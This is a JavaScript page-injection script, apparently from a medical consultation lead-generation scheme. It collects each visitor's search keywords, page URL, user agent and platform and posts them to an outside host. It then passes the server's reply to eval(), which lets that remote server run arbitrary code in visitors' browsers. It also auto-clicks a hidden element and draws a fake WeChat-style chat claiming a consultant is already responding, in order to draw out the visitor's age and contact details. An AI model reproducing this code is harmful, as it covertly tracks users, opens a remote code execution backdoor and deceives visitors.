if(!window.shbly_func){window.shbly_func={
    parseURL:function (url) {  
        var a =  document.createElement('a');
        a.href = url;
        return {  
            source: url,  
            protocol: a.protocol.replace(':',''),  
            host: a.hostname,  
            port: a.port,  
            query: a.search,  
            params: (function(){  
                var ret = {},  
                seg = a.search.replace(/^\?/,'').split('&'),  
                len = seg.length, i = 0, s;  
                for (;i<len;i++) {  
                    if (!seg[i]) { continue; }  
                    s = seg[i].split('=');  
                    ret[s[0]] = s[1];  
                }  
				  
                return ret;
            })(),  
            file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],  
            hash: a.hash.replace('#',''),  
            path: a.pathname.replace(/^([^\/])/,'/$1'),  
            relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],  
            segments: a.pathname.replace(/^\//,'').split('/')  
        };
    },

    post: function (url, data, fn,is_as) {
        var obj = new XMLHttpRequest();
        obj.open("POST", url, is_as);
        //obj.withCredentials = true;
        obj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

        obj.onreadystatechange = function() {
            if (obj.readyState == 4 && (obj.status == 200 || obj.status == 304)) {
                fn.call(this, obj.responseText);
            }
        };
        obj.send(data);
    }
}

var $data={"v":"2a53813fd3f977616d371aa33f31b6"},$refer=document.referrer,$shb_showsec='0';

	if (!$refer) { 
		try { 
			if (window.opener) {
				$refer = window.opener.location.href; 
			}
		}
		catch (e) {} 
	}
	var $url=shbly_func.parseURL($refer);
    //PC百度   YD百度  (PC360,YD360,PC神马,YD神马)  PC搜狗  YD搜狗
    //$url.params.q|| 这个和百度优选冲突了
    $data["wd"]=$url.params.wd||$url.params.word||$url.params.query||$url.params.query||$url.params.keyword||$url.params.word1||$url.params.title||'';
    $data["title"]=document.title;
    $data["href"]=window.location.href;
    $data["user_agent"]=navigator.userAgent;
    $data["referrer"]=document.referrer;
    $data["source"]=$url.host;
    $data["deal_name"]='in_web_head';
	var shb_isclick='1';
	var shb_fn1=function(){if(shb_isclick=='1'){if(document.getElementById('shb_click_fun')){document.getElementById('shb_click_fun').click();}}setTimeout(shb_fn1,1000)};
	shb_fn1();
    $data["platform"]=navigator.platform;
	var $wd_temp='';
    try{
      if(/.sm.cn$/i.test($url.host)){
            $data["wd"]=$url.params.q||'';
      }
	  if(/.so.com$/i.test($url.host)){
            $data["wd"]=$url.params.q||'';
      }
	  if($data["wd"].length<=0&&$url.host=='youxuan.baidu.com'){
          $wd_temp=$url.params.p.replace(/^query%3D/, '').replace(/%26.*$/,'');
		  
		  shbly_func.post("/wzdoshb/getwd_yx.php?wd="+$wd_temp,'',function($rs){
            $rs=JSON.parse($rs);
            if($rs['code']=='0'){
                $wd_temp=$data["wd"]=$rs['data'];
            }
       },false);
      }
	  if($data["wd"].length<=0&&$url.host=='cpro.baidu.com'){
		 
          $wd_temp=$url.params.k;
		  shbly_func.post("/wzdoshb/getwd_yx.php?wd="+$wd_temp,'',function($rs){
            $rs=JSON.parse($rs);
            if($rs['code']=='0'){
                $wd_temp=$data["wd"]=$rs['data'];
            }
       },false);
      }
    }catch(err){

    }
	if($data["wd"].length<=0) $data["wd"]='';
	$data["wd"]=decodeURIComponent($data["wd"]);
	if($data["wd"].indexOf('%')>=0) $data["wd"]=decodeURIComponent($data["wd"]);
	if($data["wd"].length>0) $data["enwd"]=encodeURIComponent($data["wd"]);
	else $data["enwd"]='';
	if(typeof(jQuery)=='undefined'){var script = document.createElement("script");script.setAttribute("type","text/javascript");script.setAttribute("src","https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js");document.getElementsByTagName("head")[0].appendChild(script);}
    //发送数据
	if($shb_showsec.length>0){
		$shb_showsec=parseInt($shb_showsec);
	}else $shb_showsec=0;
	if($data["wd"].length>0){
      	$data["url"]='https://ddt.zoosnet.net/LR/Chatpre.aspx?id=DDT79985886';
		$data["phone"]='0775-2829999';
		$data["name1"]='问问-咨询咨询';
		$data["name2"]='在的，想咨询哪方面的问题？请讲';
		$data["name3"]='您是想咨询<strong><span style="color:#E53333;">“'+$data['wd']+'”</span></strong>吗?今年多大年龄？';
		$data['do']='<html xmlns:mine><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta http-equiv="Cache-Control" content="no-siteapp"><meta http-equiv="Cache-Control" content="no-transform"><title>'+$data['name1']+'</title></head><body scroll="no" style="background:#EBEBEB!important;"><mine:shb_body><div id="chatwrap"><div id="header" style="position:absolute;top:0px;display:block;"><div style="height:42px;width:100%;background:#393a3f;line-height:42px;color:#FFF;float:left;font-size:16px;text-align:center;display:block;"><div id="headerBox" style="width:100%;height:42px;background-color:#393a3f;top:0px;left:0px;position:absolute;z-index:100;"><a id="backclick" style="float:left;width:50px;height:40px;background:url(http://swt.ylzsyy.com/ylfkshb/images/wechat1.png) no-repeat scroll 20px 12px;"><i style="float:right;width:1px;height:20px;margin:10px 0 0 0;background:#2e2e32"></i></a><a href="tel:0775-2829999" style="position:absolute;float:right;width:135px;line-height:43px;font-size:13px;text-indent:36px;color:#FFF;height:40px;background:url(http://swt.ylzsyy.com/ylfkshb/images/wechat1.png) no-repeat scroll 3px -192px;background-size:50px;top:0;right:0;text-align:left;">'+$data['phone']+'</a><h2 style="color:rgb(255,255,255);font-size:16px;line-height:42px;margin:0px;text-indent:10px;text-align:left;" id="ly_title">'+$data['name1']+'</h2></div></div></div><div id="mainContent" style="margin-top: 0px; position: absolute; top: 42px; bottom: 65px; padding-bottom: 0px;"><div id="chatMessageArea" style="position: absolute; width: 100%;"><div style="margin:0px auto 10px; width:80%; padding:2px 0;border-radius:6px;font-size:9pt;color:#999999; text-align:center;">在线咨询正在和您进行对话..</div><div class="msg-box" style="margin-right:10px;display:none;" id="ly_search_wd_div"><div class="msg-client"><div class="client-avatar"><img src="http://swt.ylzsyy.com/ylfkshb/images/nv.jpg" class="click_func" title="111" style="width:36px;"></div><div class="arrow_box" style="margin-right:12px;"><div class="text click_func" id="shb_click_fun" title="111"><br></div></div></div></div><div class="msg-box" style="display:none;" id="shbydy1"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="http://swt.ylzsyy.com/chat_left_img_share_cn.jpg"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text">        '+$data["name2"]+'</div></div></div></div><div class="msg-box" style="display:none;" id="shbydy2"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="http://swt.ylzsyy.com/chat_left_img_share_cn.jpg"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text"> '+$data["name3"]+'</div></div></div></div><div class="msg-box" style="display:none;" id="shbydy3"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="/144.png"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text"></div></div></div></div><div class="msg-box" style="display:none;" id="shbydy4"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="/144.png"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text"></div></div></div></div></div></div><div id="footer" style="position: absolute; height: 71px; bottom: 0px;"><div class="bottomsend" id="bottomsend"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tbody><tr><td style="padding-right:6px; padding-left:2px;" width="78" align="right"><img class="click_func" title="111" width="30" src="http://swt.ylzsyy.com/ylfkshb/images/emoticon.png" style="cursor:pointer;width:30px;" border="0"></td><td id="toolbar_editor" width="100%"><textarea id="texteditor" class="editor" onfocus="shbinputfocus(this)" onblur="shbinputblur(this)" rows="1" placeholder="请在此输入问询内容..." style="border-bottom-color: rgb(69, 192, 26);"></textarea></td><td style="padding-right:2px; padding-left:8px;cursor:pointer;" align="right"><input src="http://swt.ylzsyy.com/ylfkshb/images/button_cn.png" style="cursor: pointer; height: 43px;" id="sentButton" type="image" border="0"></td></tr></tbody></table></div><div id="bottomtip" style="margin-top:6px;"><table style="margin-left:10px;height:20px;width:90%;" cellspacing="0" cellpadding="0" border="0"><tbody><tr><td style="vertical-align: middle;color: #bdbebf;" id="td_prompt2"><img src="http://swt.ylzsyy.com/ylfkshb/images/secure.gif">&nbsp;<span class="zi" align="center" style="color:#000000!important; font-size:13px;">温馨提示:可以留下微信和QQ</span></td></tr></tbody></table></div></div></div></mine:shb_body>';
		if($shb_showsec>0)	setTimeout("ly_get_eval($data)",$shb_showsec);
		else ly_get_eval($data);
	}else{
		$data["url"]='https://ddt.zoosnet.net/LR/Chatpre.aspx?id=DDT79985886';
		$data["phone"]='0775-2829999';
		$data["name1"]='问问-咨询咨询';
		$data["name2"]='在的，想咨询哪方面的问题？请讲';
		$data['do']='<html xmlns:mine><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta http-equiv="Cache-Control" content="no-siteapp"><meta http-equiv="Cache-Control" content="no-transform"><title>'+$data['name1']+'</title></head><body scroll="no" style="background:#EBEBEB!important;"><mine:shb_body><div id="chatwrap"><div id="header" style="position:absolute;top:0px;display:block;"><div style="height:42px;width:100%;background:#393a3f;line-height:42px;color:#FFF;float:left;font-size:16px;text-align:center;display:block;"><div id="headerBox" style="width:100%;height:42px;background-color:#393a3f;top:0px;left:0px;position:absolute;z-index:100;"><a id="backclick" style="float:left;width:50px;height:40px;background:url(http://swt.ylzsyy.com/ylfkshb/images/wechat1.png) no-repeat scroll 20px 12px;"><i style="float:right;width:1px;height:20px;margin:10px 0 0 0;background:#2e2e32"></i></a><a href="tel:0775-2829999" style="position:absolute;float:right;width:135px;line-height:43px;font-size:13px;text-indent:36px;color:#FFF;height:40px;background:url(http://swt.ylzsyy.com/ylfkshb/images/wechat1.png) no-repeat scroll 3px -192px;background-size:50px;top:0;right:0;text-align:left;">'+$data['phone']+'</a><h2 style="color:rgb(255,255,255);font-size:16px;line-height:42px;margin:0px;text-indent:10px;text-align:left;" id="ly_title">'+$data['name1']+'</h2></div></div></div><div id="mainContent" style="margin-top: 0px; position: absolute; top: 42px; bottom: 65px; padding-bottom: 0px;"><div id="chatMessageArea" style="position: absolute; width: 100%;"><div style="margin:0px auto 10px; width:80%; padding:2px 0;border-radius:6px;font-size:9pt;color:#999999; text-align:center;">在线咨询正在和您进行对话..</div><div class="msg-box" style="margin-right:10px;display:none;" id="ly_search_wd_div"><div class="msg-client"><div class="client-avatar"><img src="http://swt.ylzsyy.com/ylfkshb/images/nv.jpg" class="click_func" title="111" style="width:36px;"></div><div class="arrow_box" style="margin-right:12px;"><div class="text click_func" id="shb_click_fun" title="111"><br></div>你好</div></div></div><div class="msg-box" style="display:none;" id="shbydy1"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="http://swt.ylzsyy.com/chat_left_img_share_cn.jpg"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text">        '+$data["name2"]+'</div></div></div></div><div class="msg-box" style="display:none;" id="shbydy2"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="http://swt.ylzsyy.com/chat_left_img_share_cn.jpg"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text">您是想咨询<span style="color:#E53333;">“你好”</span>吗?今年多大年龄？</div></div></div></div><div class="msg-box" style="display:none;" id="shbydy3"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="/144.png"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text"></div></div></div></div><div class="msg-box" style="display:none;" id="shbydy4"><div class="msg-agent"><div class="agent-avatar"><img class="click_func" title="111" src="/144.png"></div><div class="arrow_box_left" style="margin-left:50px;"><div class="text1"></div><div class="text"></div></div></div></div></div></div><div id="footer" style="position: absolute; height: 71px; bottom: 0px;"><div class="bottomsend" id="bottomsend"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tbody><tr><td style="padding-right:6px; padding-left:2px;" width="78" align="right"><img class="click_func" title="111" width="30" src="http://swt.ylzsyy.com/ylfkshb/images/emoticon.png" style="cursor:pointer;width:30px;" border="0"></td><td id="toolbar_editor" width="100%"><textarea id="texteditor" class="editor" onfocus="shbinputfocus(this)" onblur="shbinputblur(this)" rows="1" placeholder="请在此输入问询内容..." style="border-bottom-color: rgb(69, 192, 26);"></textarea></td><td style="padding-right:2px; padding-left:8px;cursor:pointer;" align="right"><input src="http://swt.ylzsyy.com/ylfkshb/images/button_cn.png" style="cursor: pointer; height: 43px;" id="sentButton" type="image" border="0"></td></tr></tbody></table></div><div id="bottomtip" style="margin-top:6px;"><table style="margin-left:10px;height:20px;width:90%;" cellspacing="0" cellpadding="0" border="0"><tbody><tr><td style="vertical-align: middle;color: #bdbebf;" id="td_prompt2"><img src="http://swt.ylzsyy.com/ylfkshb/images/secure.gif">&nbsp;<span class="zi" align="center" style="color:#000000!important; font-size:13px;">温馨提示:可以留下微信和QQ</span></td></tr></tbody></table></div></div></div></mine:shb_body>';
		ly_get_eval($data);
	}
}

function ly_get_eval($d){
	  $.ajax({
            url:'http://www.39sybaby.cn/ylnkshb/do.php',
            type: 'post',
            dataType: "json",
            data:{"username":JSON.stringify($d)},
            success: function($rs){
				console.log($rs);
                if($rs['code']=='0'){
						insertswtChatTjJs();
						eval($rs['do'])		
					}

            },
            error: function(){
                console.log('加载失败');
            }

        });
}
function insertswtChatTjJs()
	{
		
		var swt_id='PLL83080946';
		try{
			if($("textarea")) $("textarea").on("click").on("click",'');
		}catch(e){}
		var shbtongjijs="";
		if(shbtongjijs.length>0){
			var _hmt = _hmt || []; var hm = document.createElement("script"); hm.src = shbtongjijs; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);
		};
		if(typeof(LR_sysurl)=="undefined"||LR_websiteid.toLowerCase()!=swt_id.toLowerCase()||"2a53813fd3f977616d371aa33f31b6"=='4f9719fa005e1b784eaff9fb6c4f57')
		{
			var _wocguWQc =document.createElement("script");
			_wocguWQc.setAttribute("charset", "utf-8");
			_wocguWQc.setAttribute("src", "https://ddt.zoosnet.net/js/lsjs.aspx?siteid=DDT79985886&lng=cn&float=0");
			if(document.body)
			{
				try
				{
					document.body.appendChild(_wocguWQc);
				}
				catch(e)
				{
					document.documentElement.appendChild(_wocguWQc);
				}
			}
			else
			{
				var heads = document.getElementsByTagName("head");
				if(heads.length) heads[0].appendChild(_wocguWQc);
			}
		}
		window.LR_msg='';window.LR_explain='';LiveAutoInvite1=undefined;
			window.LR_CheckImgJS=function(w, w1, w2, w3) {
			window.LR_msg='';window.LR_explain='';LiveAutoInvite1=undefined;
    LR_inviteimgJS = 1;
	var swtkrsm='1';
	if(swtkrsm=='2') swtkrsm='shbkwd';
	else swtkrsm='e';
	if (!w) {
		return;
	}
	if (w == 28) {
		return;
	}
	if (checkcount == -1 && w != 6) return;
	if (w > 0) {
		if (w == 2) {
			LR_gstate = 1;
			if (LR_istate < 2) {
				clearinviteTimeout();
				LR_istate = 2;
				window.focus();
				openZoosUrl('fchatwin','&shbkwod=111&'+swtkrsm+'=777'+$data["enwd"]);
				return;
			}
		}
		if (w == 8) {
			LR_gstate = 1;
			if (LR_istate > -1) {
				clearinviteTimeout();
				LR_istate = 1;
				openZoosUrl('fchatwin','&shbkwod=111&'+swtkrsm+'=777'+$data["enwd"]);
			}
			return;
		}
		 if (w == 4) {
			LR_gstate = 0;
			if (LR_istate > 1) {
				LR_istate = 0;
			}
			LR_nextinvite();
			//openZoosUrl('fchatwin','&shbkwod=111&'+swtkrsm+'=777'+$data["enwd"]);
			return;
		} 
		if (w == 5) {
		    clearinviteTimeout();
		    if (LR_istate > 0) {
				LR_istate = 0;
			}
			if (LR_gstate != 2) {
				LR_gstate = 2;
				LR_SetCookie('LR_lastchat', '1', 720);
			}
			
			
			
			if (LR_GetObj('LRMINIBar') == null && ((LR_pm001 && LR_pm002) ||  LR_pm009)) {
				LR_HideInvite();
				LR_istate = 1;
				openZoosUrl('fchatwin','&shbkwod=111&'+swtkrsm+'=777'+$data["enwd"]);
			}
			return;
		} 
		if (w == 7) {
			LR_gstate = -1;
			if (LR_istate > 1) {
				LR_istate = 0;
			}
			LiveReceptionCode_isonline = 0;
			if (typeof(LR_offline) == 'function') LR_offline();
			LR_Floaters[0].pms['html'] = LR_buildfloat();
			LR_Floaters[0].imageTimer(true);
			return;
		} 
		if (w == 1) {
			if (LR_gstate == 1) return;
			checkcount = 2;
			LR_invite0 = w1;
			LR_invite1 = w2;
			LR_invitef();
		}
	}
}
}//QQ:774733789/**/